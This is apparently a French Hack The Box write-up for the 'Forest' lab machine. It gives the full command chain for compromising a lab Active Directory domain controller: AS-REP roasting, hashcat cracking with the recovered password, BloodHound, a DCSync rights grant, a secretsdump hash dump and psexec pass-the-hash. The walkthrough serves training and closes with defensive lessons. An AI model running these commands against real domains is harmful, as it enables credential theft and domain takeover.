HTB — Forest : Active Directory Kerberoasting
Exploitation d'un environnement Active Directory via AS-REP Roasting, BloodHound, et abus des permissions DCSync pour compromettre le Domain Controller.
Reconnaissance
On commence par un scan Nmap agressif sur les ports standards d'un DC Windows :
nmap -sV -sC -p 88,135,139,389,445,464,593,636,3268,3269 10.10.10.161 -oN forest.nmapLe port 88 (Kerberos) et 389 (LDAP) confirment qu'on est face à un Domain Controller.
Le hostname FOREST et le domaine htb.local sont visibles dans les réponses LDAP.
Énumération LDAP — Utilisateurs sans pré-auth Kerberos
Avec GetNPUsers.py d'Impacket, on cherche les comptes vulnérables à l'AS-REP Roasting :
python3 GetNPUsers.py htb.local/ -usersfile users.txt -no-pass -dc-ip 10.10.10.161Bingo — le compte svc-alfresco répond sans pré-authentification.
On récupère un hash AS-REP à cracker hors-ligne.
Cracking du hash avec Hashcat
hashcat -m 18200 asrep_hash.txt /usr/share/wordlists/rockyou.txt --forceRésultat : svc-alfresco : s3rvice
BloodHound — Cartographie des chemins d'attaque
bloodhound-python -u svc-alfresco -p s3rvice -d htb.local -dc FOREST.htb.local -c AllBloodHound révèle que svc-alfresco est membre du groupe Account Operators,
qui a des droits GenericAll sur le groupe Exchange Windows Permissions,
lui-même porteur de droits WriteDacl sur le domaine.
Escalade → DCSync
On crée un utilisateur, on l'ajoute au groupe stratégique, et on abuse de WriteDacl pour s'octroyer les droits DS-Replication-Get-Changes :
# Avec PowerView ou aclpwn.py
Add-DomainObjectAcl -TargetIdentity "DC=htb,DC=local" \
-PrincipalIdentity pwned_user \
-Rights DCSyncPuis on dump les hashes NTLM avec secretsdump :
python3 secretsdump.py htb.local/pwned_user:Password123@10.10.10.161Root
Le hash NTLM de l'administrateur récupéré, on passe-the-hash :
python3 psexec.py -hashes :NTLM_HASH administrator@10.10.10.161whoami → nt authority\system ✓
Leçons retenues
- Les comptes de service sans pré-auth Kerberos sont toujours une cible prioritaire
- BloodHound est indispensable — les chemins d'attaque AD sont rarement évidents
- DCSync = game over pour le domaine, protéger WriteDacl sur la racine du domaine